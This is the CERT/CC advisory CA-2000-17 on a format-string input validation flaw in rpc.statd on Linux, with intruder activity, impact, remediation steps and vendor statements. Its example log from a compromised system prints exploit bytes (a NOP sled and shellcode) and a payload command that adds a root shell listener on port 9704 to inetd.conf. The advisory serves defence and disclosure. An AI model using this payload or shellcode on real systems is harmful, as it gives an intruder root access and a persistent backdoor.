CERT® Advisory CA-2000-17
Input Validation Problem in rpc.statd
Original release date: August 18, 2000
Last revised: August 21, 2000
Source: CERT/CC
A complete revision history is at the end of this file. 

Systems Affected
Systems running the rpc.statd service 

Overview
The CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see Appendix A of this document for specific information regarding affected distributions. 
More information about this vulnerability is available at the following public URLs:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0666 
http://www.securityfocus.com/bid/1480 

I. Description
The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root.
Intruder Activity
The following is an example log message from a compromised system illustrating the rpc.statd exploit occurring: 
Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname
containing '/': ^D^D^E^E^F
^F^G^G08049f10
bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f
20656d61 746e6f63 696e6961 2720676e 203a272f
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000bffff7
0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v

<83> <8D>^(<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^
1<83>
<88>F'<88>F*<83> <88>F<89>F+,
<89><8D>N<8D>V<80>1<89>@<80>/bin
/sh -c echo 9704 stream tcp 
nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd
If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our Intruder Detection Checklist. If you believe your host has been compromised, please follow our Steps for Recovering From a Root Compromise. Please check our Current Activity page for updates regarding intruder activity. 


II. Impact
By exploiting this vulnerability, local or remote users may be able to execute arbitrary code with the privileges of the rpc.statd process, typically root.


III. Solution
Upgrade your version of rpc.statd
Please see Appendix A of this advisory for more information about the availability of program updates specific to your system. If you are running a vulnerable version of rpc.statd, the CERT/CC encourages you to apply appropriate vendor patches. After making any updates, be sure to restart the rpc.statd service. 
Disable the rpc.statd service
If an update cannot be applied, the CERT/CC recommends disabling the rpc.statd service. We advise proceeding with caution, however, as disabling this process can interfere with NFS functionality.
Block unneeded ports at your firewall
As a good security practice in general, the CERT/CC recommends blocking unneeded ports at your firewall. This option does not remedy the vulnerability, but does prevent outside intruders from exploiting it. In particular, block port 111 (portmapper), as well as the port on which rpc.statd is running, which may vary. 
Appendix A. Vendor Information
This section contains information provided by vendors for this advisory. We will update this appendix as we receive more information. If you do not see your vendor's name, the CERT/CC did not receive a response from that vendor. Please contact your vendor directly.
Berkeley Software Design, Inc. (BSDI)
No versions of BSD/OS are vulnerable. 
Caldera, Inc.
Not vulnerable: None of our products ship with rpc.statd 
Compaq
At the time of writing this document, Compaq is currently investigating the potential impact to Compaq's rpc.statd service. Initial tests indicate it is not a potential vulnerability for Compaq supplied software. 
As further information becomes available Compaq will provide notice of the completion/availability of any necessary patches through AES services (DIA, DSNlink FLASH and posted to the Services WEB page) and be available from your normal Compaq Services Support channel. 
Debian
http://www.debian.org/security/2000/20000719a 
FreeBSD
FreeBSD is not vulnerable to this problem. 
NetBSD
NetBSD 1.4.x and NetBSD 1.5 do not appear to be affected by this problem; all calls to syslog() within rpc.statd take a constant string for the format argument. 
OpenBSD
*Linux* systems running the rpc.statd service!
This affects noone else! 
RedHat
http://www.redhat.com/support/errata/RHSA-2000-043-03.html 
Santa Cruz Operation
The Santa Cruz Operation has investigated this vulnerability and has determined that NO SCO products are susceptable to it. SCO does not provide the programs in question, and SCO programs that perform the same or similar functionality are not susceptable to this vulnerability. 
Silicon Graphics, Inc.
IRIX rpc.statd is not vulnerable to this security issue. 
Sun Microsystems, Inc.
Our rpc.statd is not vulnerable to this buffer overflow. 

Authors: John Shaffer, Brian King 

This document is available from: http://www.cert.org/advisories/CA-2000-17.html 

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Copyright 2000 Carnegie Mellon University.
Revision History 
August 18, 2000:  Initial release
August 21, 2000:  Added additional vendor information to Appendix A.